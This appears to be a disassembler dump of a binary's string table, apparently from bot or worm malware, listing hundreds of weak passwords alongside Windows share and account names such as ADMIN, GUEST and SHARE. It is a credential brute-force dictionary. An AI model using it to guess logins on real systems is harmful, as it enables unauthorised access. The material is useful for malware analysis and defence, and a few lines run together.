aCharity	db 'charity',0          ; DATA XREF: seg001:0042AAC8o
aChange		db 'change',0           ; DATA XREF: seg001:0042AAC4o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg001:0042AAC0o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: seg001:0042AABCo
aCeltic		db 'celtic',0           ; DATA XREF: seg001:0042AAB8o
		align 10h
aCelt		db 'celt',0             ; DATA XREF: seg001:0042AAB4o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg001:0042AAB0o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: seg001:0042AAACo
		align 4
aCave		db 'cave',0             ; DATA XREF: seg001:0042AAA8o
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: seg001:0042AAA4o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg001:0042AAA0o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg001:0042AA9Co
		align 10h
aCastle		db 'castle',0           ; DATA XREF: seg001:0042AA98o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg001:0042AA94o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: seg001:0042AA90o
		align 4
aCarson		db 'carson',0           ; DATA XREF: seg001:0042AA8Co
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg001:0042AA88o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: seg001:0042AA84o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg001:0042AA80o
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg001:0042AA7Co
		align 4
aCarol		db 'carol',0            ; DATA XREF: seg001:0042AA78o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg001:0042AA74o
		align 4
aCarla		db 'carla',0            ; DATA XREF: seg001:0042AA70o
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg001:0042AA6Co
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: seg001:0042AA68o
		align 4
aCard		db 'card',0             ; DATA XREF: seg001:0042AA64o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: seg001:0042AA60o
aCaptain	db 'captain',0          ; DATA XREF: seg001:0042AA5Co
aCantor		db 'cantor',0           ; DATA XREF: seg001:0042AA58o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg001:0042AA54o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: seg001:0042AA50o
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg001:0042AA4Co
aCampanil	db 'campanil',0         ; DATA XREF: seg001:0042AA48o
		align 4
aCamille	db 'camille',0          ; DATA XREF: seg001:0042AA44o
aCaliforn	db 'californ',0         ; DATA XREF: seg001:0042AA40o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: seg001:0042AA3Co
		align 4
aButt		db 'butt',0             ; DATA XREF: seg001:0042AA38o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg001:0042AA34o
		align 4
aBurn		db 'burn',0             ; DATA XREF: seg001:0042AA30o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg001:0042AA2Co
aBung		db 'bung',0             ; DATA XREF: seg001:0042AA28o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg001:0042AA24o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: seg001:0042AA20o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: seg001:0042AA1Co
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg001:0042AA18o
		align 10h
aBrute		db 'brute',0            ; DATA XREF: seg001:0042AA14o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg001:0042AA10o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg001:0042AA0Co
aBroadway	db 'broadway',0         ; DATA XREF: seg001:0042AA08o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg001:0042AA04o
aBrian		db 'brian',0            ; DATA XREF: seg001:0042AA00o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg001:0042A9FCo
		align 10h
aBreast		db 'breast',0           ; DATA XREF: seg001:0042A9F8o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg001:0042A9F4o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: seg001:0042A9F0o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg001:0042A9ECo
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: seg001:0042A9E8o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg001:0042A9E4o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg001:0042A9E0o
		align 4
aBorn		db 'born',0             ; DATA XREF: seg001:0042A9DCo
		align 4
aBook		db 'book',0             ; DATA XREF: seg001:0042A9D8o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: seg001:0042A9D4o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg001:0042A9D0o
		align 4
aBoner		db 'boner',0            ; DATA XREF: seg001:0042A9CCo
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg001:0042A9C8o
		align 4
aBoard		db 'board',0            ; DATA XREF: seg001:0042A9C4o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg001:0042A9C0o
		align 4
aBlue		db 'blue',0             ; DATA XREF: seg001:0042A9BCo
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg001:0042A9B8o
aBlow		db 'blow',0             ; DATA XREF: seg001:0042A9B4o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg001:0042A9B0o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: seg001:0042A9ACo
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg001:0042A9A8o
aBlonde		db 'blonde',0           ; DATA XREF: seg001:0042A9A4o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg001:0042A9A0o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: seg001:0042A99Co
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg001:0042A998o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: seg001:0042A994o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg001:0042A990o
		align 10h
aBird		db 'bird',0             ; DATA XREF: seg001:0042A98Co
		align 4
aBios		db 'bios',0             ; DATA XREF: seg001:0042A988o
		align 10h
aBinary		db 'binary',0           ; DATA XREF: seg001:0042A984o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg001:0042A980o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg001:0042A97Co
aBicamera	db 'bicamera',0         ; DATA XREF: seg001:0042A978o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg001:0042A974o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: seg001:0042A970o
aBetty		db 'betty',0            ; DATA XREF: seg001:0042A96Co
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: seg001:0042A968o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg001:0042A964o
		align 4
aBeta		db 'beta',0             ; DATA XREF: seg001:0042A960o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg001:0042A95Co
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: seg001:0042A958o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg001:0042A954o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: seg001:0042A950o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: seg001:0042A94Co
aBenz		db 'benz',0             ; DATA XREF: seg001:0042A948o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: seg001:0042A944o
aBell		db 'bell',0             ; DATA XREF: seg001:0042A940o
		align 4
aBehead		db 'behead',0           ; DATA XREF: seg001:0042A93Co
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg001:0042A938o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: seg001:0042A934o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg001:0042A930o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: seg001:0042A92Co
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg001:0042A928o
		align 10h
aBeater		db 'beater',0           ; DATA XREF: seg001:0042A924o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg001:0042A920o
		align 10h
aBear		db 'bear',0             ; DATA XREF: seg001:0042A91Co
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg001:0042A918o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg001:0042A914o
		align 4
aBatman		db 'batman',0           ; DATA XREF: seg001:0042A910o
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg001:0042A90Co
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: seg001:0042A908o
aBass		db 'bass',0             ; DATA XREF: seg001:0042A904o
		align 4
aBasic		db 'basic',0            ; DATA XREF: seg001:0042A900o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg001:0042A8FCo
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: seg001:0042A8F8o
aBart		db 'bart',0             ; DATA XREF: seg001:0042A8F4o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: seg001:0042A8F0o
		align 4
aBarf		db 'barf',0             ; DATA XREF: seg001:0042A8ECo
		align 4
aBare		db 'bare',0             ; DATA XREF: seg001:0042A8E8o
		align 4
aBarber		db 'barber',0           ; DATA XREF: seg001:0042A8E4o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg001:0042A8E0o
aBanks		db 'banks',0            ; DATA XREF: seg001:0042A8DCo
		align 4
aBank		db 'bank',0             ; DATA XREF: seg001:0042A8D8o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: seg001:0042A8D4o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg001:0042A8D0o
aBanana		db 'banana',0           ; DATA XREF: seg001:0042A8CCo
		align 4
aBall		db 'ball',0             ; DATA XREF: seg001:0042A8C8o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: seg001:0042A8C4o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg001:0042A8C0o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: seg001:0042A8BCo
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg001:0042A8B8o
aBaby		db 'baby',0             ; DATA XREF: seg001:0042A8B4o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg001:0042A8B0o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: seg001:0042A8ACo
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg001:0042A8A8o
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg001:0042A8A4o
		align 4
aAttack		db 'attack',0           ; DATA XREF: seg001:0042A8A0o
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg001:0042A89Co
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg001:0042A898o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg001:0042A894o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: seg001:0042A890o
aAsian		db 'asian',0            ; DATA XREF: seg001:0042A88Co
		align 10h
aArtist		db 'artist',0           ; DATA XREF: seg001:0042A888o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg001:0042A884o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: seg001:0042A880o
		align 4
aArmy		db 'army',0             ; DATA XREF: seg001:0042A87Co
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: seg001:0042A878o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg001:0042A874o
aAria		db 'aria',0             ; DATA XREF: seg001:0042A870o
		align 4
aApril		db 'april',0            ; DATA XREF: seg001:0042A86Co
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: seg001:0042A868o
		align 4
aAnything	db 'anything',0         ; DATA XREF: seg001:0042A864o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg001:0042A860o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: seg001:0042A85Co
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: seg001:0042A858o
aAnswer		db 'answer',0           ; DATA XREF: seg001:0042A854o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: seg001:0042A850o
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg001:0042A84Co
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: seg001:0042A848o
aAnne		db 'anne',0             ; DATA XREF: seg001:0042A844o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: seg001:0042A840o
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg001:0042A83Co
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: seg001:0042A838o
aAnimal		db 'animal',0           ; DATA XREF: seg001:0042A834o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: seg001:0042A830o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg001:0042A82Co
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg001:0042A828o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: seg001:0042A824o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg001:0042A820o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: seg001:0042A81Co
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg001:0042A818o
aAndrea		db 'andrea',0           ; DATA XREF: seg001:0042A814o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg001:0042A810o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: seg001:0042A80Co
aAnarchis	db 'anarchis',0         ; DATA XREF: seg001:0042A808o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg001:0042A804o
		align 4
aAnal		db 'anal',0             ; DATA XREF: seg001:0042A800o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg001:0042A7FCo
		align 10h
aAmerica	db 'america',0          ; DATA XREF: seg001:0042A7F8o
aAmber		db 'amber',0            ; DATA XREF: seg001:0042A7F4o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: seg001:0042A7F0o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg001:0042A7ECo
aAlphabet	db 'alphabet',0         ; DATA XREF: seg001:0042A7E8o
		align 4
aAllow		db 'allow',0            ; DATA XREF: seg001:0042A7E4o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg001:0042A7E0o
aAlison		db 'alison',0           ; DATA XREF: seg001:0042A7DCo
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg001:0042A7D8o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: seg001:0042A7D4o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg001:0042A7D0o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg001:0042A7CCo
aAlias		db 'alias',0            ; DATA XREF: seg001:0042A7C8o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: seg001:0042A7C4o
aAlexande	db 'alexande',0         ; DATA XREF: seg001:0042A7C0o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: seg001:0042A7BCo
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg001:0042A7B8o
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: seg001:0042A7B4o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg001:0042A7B0o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg001:0042A7ACo
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: seg001:0042A7A8o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg001:0042A7A4o
		align 10h
aAids		db 'aids',0             ; DATA XREF: seg001:0042A7A0o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg001:0042A79Co
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg001:0042A798o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: seg001:0042A794o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg001:0042A790o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: seg001:0042A78Co
		align 4
aAction		db 'action',0           ; DATA XREF: seg001:0042A788o
		align 10h
aAccount	db 'account',0          ; DATA XREF: seg001:0042A784o
aAcademic	db 'academic',0         ; DATA XREF: seg001:0042A77Co
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg001:0042A778o
		align 10h
a000000		db '000000',0           ; DATA XREF: seg001:0042A774o
					; seg001:0042C18Co
		align 4
a00000		db '00000',0            ; DATA XREF: seg001:0042A770o
					; seg001:0042C188o
		align 10h
a0000		db '0000',0             ; DATA XREF: seg001:0042A76Co
					; seg001:0042C184o
		align 4
a000		db '000',0              ; DATA XREF: seg001:0042A768o
					; seg001:0042C180o
aTesting	db 'testing',0          ; DATA XREF: seg001:0042A764o
aDeath		db 'death',0            ; DATA XREF: seg001:0042A760o
		align 4
a00		db '00',0               ; DATA XREF: seg001:0042A75Co
					; seg001:0042C17Co
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg001:0042A754o
					; seg001:0042C5CCo
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg001:0042A750o
					; seg001:0042C5C8o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg001:0042A74Co
					; seg001:0042C5C4o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg001:0042A748o
					; seg001:0042C5C0o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg001:0042A744o
					; seg001:0042C5BCo
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: seg001:0042A740o
					; seg001:0042C5B8o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg001:0042A73Co
					; seg001:0042C5B4o
aXx		db 'xx',0               ; DATA XREF: seg001:0042A738o
					; seg001:0042C5B0o
		align 10h
asc_430E00:				; DATA XREF: seg001:0042A734o
					; seg001:0042C5ACo
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg001:0042A730o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg001:0042A72Co
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg001:0042A728o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: seg001:0042A724o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg001:0042A720o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg001:0042A71Co
		align 4
aScript		db 'script',0           ; DATA XREF: seg001:0042A718o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg001:0042A714o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: seg001:0042A710o
		align 4
aL337		db 'l337',0             ; DATA XREF: seg001:0042A70Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: seg001:0042A708o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg001:0042A704o
		align 4
aKiller		db 'killer',0           ; DATA XREF: seg001:0042A700o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg001:0042A6FCo
					; seg001:0042C1E8o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: seg001:0042A6F8o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg001:0042A6F4o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: seg001:0042A6F0o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg001:0042A6ECo
aSatanik	db 'satanik',0          ; DATA XREF: seg001:0042A6E8o
aSatan		db 'satan',0            ; DATA XREF: seg001:0042A6E4o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: seg001:0042A6E0o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg001:0042A6DCo
aMatt		db 'Matt',0             ; DATA XREF: seg001:0042A6D8o
		align 4
off_430ED8	dd offset byte_74614D	; DATA XREF: seg001:0042A6D4o
dword_430EDC	dd 7770h	aMypass123	db 'mypass123',0        ; DATA XREF: seg001:0042A6CCo
		align 4
aMypass		db 'mypass',0           ; DATA XREF: seg001:0042A6C8o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg001:0042A6C4o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: seg001:0042A6C0o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg001:0042A6BCo
aMypc		db 'mypc',0             ; DATA XREF: seg001:0042A6B8o
		align 4
aLove		db 'love',0             ; DATA XREF: seg001:0042A6B4o
		align 10h
off_430F20	dd offset dword_647770	; DATA XREF: seg001:0042A6B0o
aLogin		db 'login',0            ; DATA XREF: seg001:0042A6ACo
		align 4
aHome		db 'home',0             ; DATA XREF: seg001:0042A6A8o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg001:0042A6A4o
					; seg001:0042C5ECo
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: seg001:0042A6A0o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg001:0042A69Co
					; seg001:0042C558o
		align 4
aSecret		db 'secret',0           ; DATA XREF: seg001:0042A698o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg001:0042A694o
					; seg001:0042C604o
		align 4
aPc		db 'pc',0               ; DATA XREF: seg001:0042A690o
		align 10h
off_430F60	dd offset byte_6E6977	; DATA XREF: seg001:0042A68Co
aTest123	db 'test123',0          ; DATA XREF: seg001:0042A688o
off_430F6C	dd offset byte_636261	; DATA XREF: seg001:0042A684o
off_430F70	dd offset byte_616161	; DATA XREF: seg001:0042A680o
					; seg001:0042C52Co
dword_430F74	dd 61h							; seg001:0042C524o
aCrash		db 'crash',0            ; DATA XREF: seg001:0042A678o
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: seg001:0042A674o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg001:0042A670o
aIrule		db 'irule',0            ; DATA XREF: seg001:0042A66Co
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg001:0042A668o
		align 10h
a0wned		db '0wned',0            ; DATA XREF: seg001:0042A664o
					; seg001:0042C1ECo
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg001:0042A660o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg001:0042A65Co
		align 10h
aDevil		db 'devil',0            ; DATA XREF: seg001:0042A658o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg001:0042A654o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: seg001:0042A650o
		align 4
off_430FD8	dd offset byte_646F67	; DATA XREF: seg001:0042A64Co
dword_430FDC	dd 786573h	off_430FE0	dd offset dword_746170	; DATA XREF: seg001:0042A644o
aPatrick	db 'patrick',0          ; DATA XREF: seg001:0042A640o
aAlpha		db 'alpha',0            ; DATA XREF: seg001:0042A63Co
		align 4
a007		db '007',0              ; DATA XREF: seg001:0042A638o
					; seg001:0042C1D8o
a123abc		db '123abc',0           ; DATA XREF: seg001:0042A634o
					; seg001:0042C3E8o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: seg001:0042A630o
					; seg001:0042C3F4o
		align 4
a123123		db '123123',0           ; DATA XREF: seg001:0042A62Co
					; seg001:0042C394o
		align 4
a121212		db '121212',0           ; DATA XREF: seg001:0042A628o
					; seg001:0042C38Co
		align 4
a111111		db '111111',0           ; DATA XREF: seg001:0042A624o
					; seg001:0042C204o
		align 4
a110		db '110',0              ; DATA XREF: seg001:0042A620o
					; seg001:0042C358o
a2600		db '2600',0             ; DATA XREF: seg001:0042A61Co
					; seg001:0042C4E0o
		align 10h
a2002		db '2002',0             ; DATA XREF: seg001:0042A614o
					; seg001:0042C4CCo
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg001:0042A610o
		align 4
aEnable		db 'enable',0           ; DATA XREF: seg001:0042A60Co
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg001:0042A608o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg001:0042A604o
a123asd		db '123asd',0           ; DATA XREF: seg001:0042A600o
					; seg001:0042C3ECo
		align 4
aSuper		db 'super',0            ; DATA XREF: seg001:0042A5FCo
		align 4
aInternet	db 'Internet',0         ; DATA XREF: seg001:0042A5F8o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg001:0042A5F0o
					; seg001:0042C3F0o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: seg001:0042A5ECo
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg001:0042A5E4o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: seg001:0042A5E0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg001:0042A5D8o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: seg001:0042A5D4o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg001:0042A5D0o
					; seg001:0042C324o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg001:0042A5CCo
					; seg001:0042C20Co
		align 10h
a111		db '111',0              ; DATA XREF: seg001:0042A5C8o
					; seg001:0042C1F8o
a54321		db '54321',0            ; DATA XREF: seg001:0042A5C4o
					; seg001:0042C4ECo
		align 4
a654321		db '654321',0           ; DATA XREF: seg001:0042A5C0o
					; seg001:0042C4F0o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg001:0042A5BCo
					; seg001:0042C3ACo
		align 10h
a12345678	db '12345678',0         ; DATA XREF: seg001:0042A5B8o
					; seg001:0042C3A8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg001:0042A5B4o
					; seg001:0042C3A4o
a123456		db '123456',0           ; DATA XREF: seg001:0042A5B0o
					; seg001:0042C3A0o
		align 4
a12345		db '12345',0            ; DATA XREF: seg001:0042A5ACo
					; seg001:0042C39Co
		align 4
a1234		db '1234',0             ; DATA XREF: seg001:0042A5A8o
					; seg001:0042C398o
		align 4
a123		db '123',0              ; DATA XREF: seg001:0042A5A4o
					; seg001:0042C390o
a12		db '12',0               ; DATA XREF: seg001:0042A5A0o
					; seg001:0042C384o
		align 4
a1:					; DATA XREF: seg001:0042A59Co
					; seg001:0042C1F0o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg001:0042A598o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg001:0042A594o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg001:0042A590o
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg001:0042A58Co
		align 10h
aUnix		db 'unix',0             ; DATA XREF: seg001:0042A588o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg001:0042A584o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: seg001:0042A580o
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg001:0042A57Co
					; seg001:0042C93Co
		align 10h
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg001:0042A578o
					; seg001:0042C58Co ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg001:0042A574o
					; seg001:0042C934o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: seg001:0042A56Co
					; seg001:0042C92Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg001:0042A568o
					; seg001:0042C928o
		align 10h
off_431180	dd offset byte_756465	; DATA XREF: seg001:0042A564o
					; seg001:0042C924o
aOwner_1	db 'Owner',0            ; DATA XREF: seg001:0042A560o
					; seg001:0042C920o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: seg001:0042A55Co
					; seg001:0042C91Co
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg001:0042A558o
					; seg001:0042C918o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: seg001:0042A554o
					; seg001:0042C914o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg001:0042A550o
					; seg001:0042C910o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: seg001:0042A54Co
					; seg001:0042C90Co
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg001:0042A548o
					; seg001:0042C908o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: seg001:0042A544o
					; seg001:0042C904o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg001:0042A540o
					; seg001:0042C900o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: seg001:0042A53Co
					; seg001:0042C8FCo
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg001:0042A538o
					; seg001:0042C8F8o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: seg001:0042A534o
					; seg001:0042C8F4o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg001:0042A530o
					; seg001:0042C8F0o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: seg001:0042A528o
					; seg001:0042C8E8o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg001:0042A524o
					; seg001:0042C8E4o
		align 10h
off_431200	dd offset word_616C62	; DATA XREF: seg001:0042A520o
					; seg001:0042C8E0o
aFubar		db 'fubar',0            ; DATA XREF: seg001:0042A51Co
					; seg001:0042C8DCo
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg001:0042A510o
					; seg001:0042C8D0o
		align 4
aManagement	db 'management',0       ; DATA XREF: seg001:0042A500o
		align 4
aAdministrative	db 'administrative',0   ; DATA XREF: seg001:0042A4FCo
		align 4
aDirector_0	db 'director',0         ; DATA XREF: seg001:0042A4F8o
					; seg001:0042ACE8o
		align 4
aOfficial	db 'Official',0         ; DATA XREF: seg001:0042A4F4o
		align 10h
aDirector	db 'Director',0         ; DATA XREF: seg001:0042A4F0o
		align 4
aOracle		db 'oracle',0           ; DATA XREF: seg001:0042A4ECo
					; seg001:0042A5E8o
		align 4
aDb1		db 'db1',0              ; DATA XREF: seg001:0042A4E8o
aDatabase	db 'database',0         ; DATA XREF: seg001:0042A4E4o
					; seg001:0042A5DCo
		align 4
aDefault	db 'default',0          ; DATA XREF: seg001:0042A4E0o
